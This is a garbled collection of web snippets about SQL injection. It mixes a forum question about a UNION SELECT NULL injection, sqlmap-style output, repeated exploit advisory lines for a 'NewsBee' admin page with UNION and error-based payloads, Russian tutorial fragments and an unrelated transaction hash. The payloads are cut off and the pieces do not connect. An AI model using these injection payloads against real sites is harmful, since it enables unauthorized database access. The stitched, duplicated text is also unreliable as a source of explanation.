Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
0x7178627071),NULL,NULL,NULL,NULL,NULL-- FkYN ---. web server operating system: Windows 2008 or Vista web application technology: ASP.NET, PHP 5.5.10
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR). # Payload: id=5' AND (SELECT 7446 FROM(SELECT.
# Type: UNION query # Demo: http://target/NewsBee/admin/home-text-edit.php?id=5 # Payload: id=-1714' UNION ALL SELECT NULL,NULL...
Type: UNION query # Demo: http://target/NewsBee/admin/home-text-edit.php?id=5 # Payload: id=-1714' UNION ALL SELECT NULL,NULL...
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
Transaction Hash: 0x1581f00aebd0d24a9caeb78cc5e6424c798d06a0080020be99d2ba7de0def04e. Status: Success.
# Type: UNION query # Demo: http://target/NewsBee/admin/home-text-edit.php?id=5 # Payload: id=-1714' UNION ALL SELECT NULL,NULL...